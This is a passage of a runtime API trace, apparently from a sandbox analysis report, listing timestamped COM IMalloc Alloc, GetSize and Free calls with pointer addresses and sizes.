(This=0x7ff9e7edf3f0, pv=0x2764b9e6ce0) returned 0x10 [0110.852] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6ce0) [0110.852] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09050 [0110.852] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09050) returned 0x8 [0110.852] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09050) [0110.852] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6b80 [0110.853] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6b80) returned 0x10 [0110.853] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6b80) [0110.853] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb091c0 [0110.853] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb091c0) returned 0x8 [0110.853] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb091c0) [0110.853] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6a60 [0110.853] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6a60) returned 0x10 [0110.854] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6a60) [0110.854] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6aa0 [0110.854] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6aa0) returned 0x10 [0110.854] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6aa0) [0110.854] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb092f0 [0110.854] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb092f0) returned 0x8 [0110.855] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb092f0) [0110.855] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6ca0 [0110.855] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6ca0) returned 0x10 [0110.855] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6ca0) [0110.855] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08fb0 [0110.855] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08fb0) returned 0x8 [0110.856] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08fb0) [0110.856] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6e80 [0110.856] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6e80) returned 0x10 [0110.856] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6e80) [0110.856] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08ff0 [0110.856] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08ff0) returned 0x8 [0110.857] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08ff0) [0110.857] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6940 [0110.857] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6940) returned 0x10 [0110.857] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6940) [0110.857] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e67c0 [0110.857] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e67c0) returned 0x10 [0110.858] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e67c0) [0110.858] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09110 [0110.858] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09110) returned 0x8 [0110.858] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09110) [0110.859] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6be0 [0110.859] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6be0) returned 0x10 [0110.859] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6be0) [0110.859] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08fe0 [0110.859] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08fe0) returned 0x8 [0110.860] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08fe0) [0110.860] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6aa0 [0110.860] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6aa0) returned 0x10 [0110.860] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6aa0) [0110.898] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09060 [0110.898] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09060) returned 0x8 [0110.918] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09060) [0110.918] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6ca0 [0110.918] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6ca0) returned 0x10 [0110.918] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6ca0) [0110.918] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09210 [0110.918] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09210) returned 0x8 [0110.919] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09210) [0110.919] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08f40 [0110.919] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08f40) returned 0x8 [0110.919] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08f40) [0110.919] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6c80 [0110.919] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6c80) returned 0x10 [0110.919] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6c80) [0110.919] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09040 [0110.919] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09040) returned 0x8 [0110.919] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09040) [0110.919] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6c40 [0110.920] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6c40) returned 0x10 [0110.920] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6c40) [0110.920] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb091c0 [0110.920] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb091c0) returned 0x8 [0110.920] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb091c0) [0110.920] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09030 [0110.920] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09030) returned 0x8 [0110.921] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09030) [0110.921] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6900 [0110.921] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6900) returned 0x10 [0110.921] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6900) [0110.921] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09090 [0110.921] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09090) returned 0x8 [0110.921] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09090) [0110.921] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e68e0 [0110.921] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e68e0) returned 0x10 [0110.922] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e68e0) [0110.922] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08fa0 [0110.922] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08fa0) returned 0x8 [0110.922] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08fa0) [0110.922] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9e6e20 [0110.923] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6e20) returned 0x18 [0110.935] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6e20) [0110.935] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb090d0 [0110.935] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb090d0) returned 0x8 [0110.936] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb090d0) [0110.936] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08f80 [0110.936] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08f80) returned 0x8 [0110.936] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08f80) [0110.936] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6b20 [0110.936] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6b20) returned 0x10 [0110.937] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6b20) [0110.937] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764bb02a50 [0110.937] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb02a50) returned 0x20 [0110.937] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb02a50) [0110.937] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x30) returned 0x2764b8281b0 [0110.937] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b8281b0) returned 0x30 [0110.938] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b8281b0) [0110.938] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x48) returned 0x2764b884e90 [0110.938] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b884e90) returned 0x48 [0110.948] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b884e90) [0110.948] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09220 [0110.948] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09220) returned 0x8 [0110.949] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09220) [0110.949] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6b20 [0110.949] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6b20) returned 0x10 [0110.949] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6b20) [0110.949] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09250 [0110.949] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09250) returned 0x8 [0110.949] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09250) [0110.949] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6e80 [0110.949] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6e80) returned 0x10 [0110.950] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6e80) [0110.950] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb092a0 [0110.950] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb092a0) returned 0x8 [0110.950] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb092a0) [0110.950] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6e80 [0110.950] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6e80) returned 0x10 [0110.951] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6e80) [0110.951] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09030 [0110.951] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09030) returned 0x8 [0110.951] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09030) [0110.951] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6a20 [0110.951] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6a20) returned 0x10 [0110.951] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6a20) [0110.952] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09210 [0110.952] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09210) returned 0x8 [0110.952] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09210) [0110.952] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6c40 [0110.952] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6c40) returned 0x10 [0110.952] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6c40) [0110.952] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08f30 [0110.952] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08f30) returned 0x8 [0110.953] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08f30) [0110.953] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09200 [0110.953] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09200) returned 0x8 [0110.953] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09200) [0110.953] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08f80 [0110.953] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08f80) returned 0x8 [0110.953] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08f80) [0110.953] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb091d0 [0110.953] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb091d0) returned 0x8 [0110.954] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb091d0) [0110.954] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb091e0 [0110.954] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb091e0) returned 0x8 [0110.956] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb091e0) [0110.956] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb092f0 [0110.956] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb092f0) returned 0x8 [0110.956] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb092f0) [0110.956] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09010 [0110.956] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09010) returned 0x8 [0110.956] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09010) [0110.956] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6ea0 [0110.956] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6ea0) returned 0x10 [0110.957] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6ea0) [0110.957] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d76a0) [0110.957] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e67e0) [0110.957] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d70a0) [0110.957] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6f00) [0110.957] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e68c0) [0110.957] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6da0) [0110.957] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6b00) [0110.957] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6cc0) [0110.957] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6e60) [0110.957] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6820) [0110.957] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e68a0) [0110.957] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7500) [0110.957] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7be0) [0110.957] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6d80) [0110.957] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6d20) [0110.957] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7280) [0110.957] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6e40) [0110.957] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7680) [0110.957] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6fa0) [0110.957] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7540) [0110.957] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6fe0) [0110.957] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6d40) [0110.957] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d72a0) [0110.957] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6fc0) [0110.958] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6860) [0110.958] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d6f80) [0110.958] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6920) [0110.958] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7400) [0110.958] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6780) [0110.958] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7080) [0110.958] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7840) [0110.958] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7860) [0110.958] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6880) [0110.958] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7260) [0110.958] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d76c0) [0110.958] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6a40) [0110.958] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7240) [0110.958] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7220) [0110.958] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d72c0) [0110.958] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d70c0) [0110.958] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7900) [0110.958] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7380) [0110.958] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7200) [0110.958] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d6fc0) [0110.958] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d75a0) [0110.958] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d75c0) [0110.958] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e67a0) [0110.958] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7420) [0110.958] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6980) [0110.958] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7060) [0110.958] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e69c0) [0110.958] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b5101c0) [0110.958] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b829ab0) [0110.958] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb05630) [0110.958] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb04d30) [0110.958] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b829d30) [0110.958] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb053c0) [0110.959] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b829bf0) [0110.959] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb04e20) [0110.959] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb04d90) [0110.959] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb05660) [0110.959] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb05540) [0110.959] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb05030) [0110.959] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb05480) [0110.959] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb05360) [0110.959] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb04dc0) [0110.959] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb055d0) [0110.959] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb04df0) [0110.959] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb05150) [0110.959] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b829fb0) [0110.959] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b82a1b0) [0110.959] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb04e80) [0110.959] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb05570) [0110.959] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb05420) [0110.959] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb04eb0) [0110.959] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b82a230) [0110.959] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb050c0) [0110.959] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb051e0) [0110.959] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb04fa0) [0110.959] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb05240) [0110.959] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb055a0) [0110.959] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb050f0) [0110.959] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb04ee0) [0110.959] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb04fd0) [0110.959] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb05000) [0110.959] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb051b0) [0110.959] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b82a2b0) [0110.959] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b829af0) [0110.959] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b829c70) [0110.959] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b829cb0) [0110.960] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb05060) [0110.960] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb05690) [0110.960] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb04f10) [0110.960] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb05090) [0110.960] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb05120) [0110.960] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb05180) [0110.960] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb05210) [0110.960] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb056c0) [0110.960] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb04b20) [0110.960] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b829870) [0110.960] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b829d70) [0110.960] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb05270) [0110.960] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb054e0) [0110.960] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb052a0) [0110.960] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb052d0) [0110.960] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb05390) [0110.960] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b82a330) [0110.960] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b829db0) [0110.960] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b8297b0) [0110.960] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b829970) [0110.960] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb04b50) [0110.960] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb04bb0) [0110.960] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb054b0) [0110.960] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb04be0) [0110.960] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb06050) [0110.960] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb06200) [0110.960] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb05db0) [0110.960] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b829e30) [0110.960] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb05c00) [0110.960] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb06170) [0110.960] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb059c0) [0110.960] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb05d50) [0110.961] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2e) returned 0x2764b82a2b0 [0110.961] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x34) returned 0x2764b829e30 [0110.961] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1e) returned 0x2764bb06230 [0110.961] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1c) returned 0x2764bb058d0 [0110.961] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x22) returned 0x2764bb05960 [0110.961] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1c) returned 0x2764bb06200 [0110.961] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764bb05810 [0110.962] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x22) returned 0x2764bb05b10 [0110.962] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1c) returned 0x2764bb05fc0 [0110.962] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764bb059c0 [0110.962] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764bb05a20 [0110.962] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764bb05870 [0110.962] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x400) returned 0x2764b50bcb0 [0110.962] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6e40 [0110.963] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6b00 [0110.963] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6dc0 [0110.963] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6d00 [0110.963] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6940 [0110.963] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6ec0 [0110.963] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e68e0 [0110.963] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6bc0 [0110.963] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6b60 [0110.963] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6ca0 [0110.963] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e69c0 [0110.963] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6e60 [0110.963] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 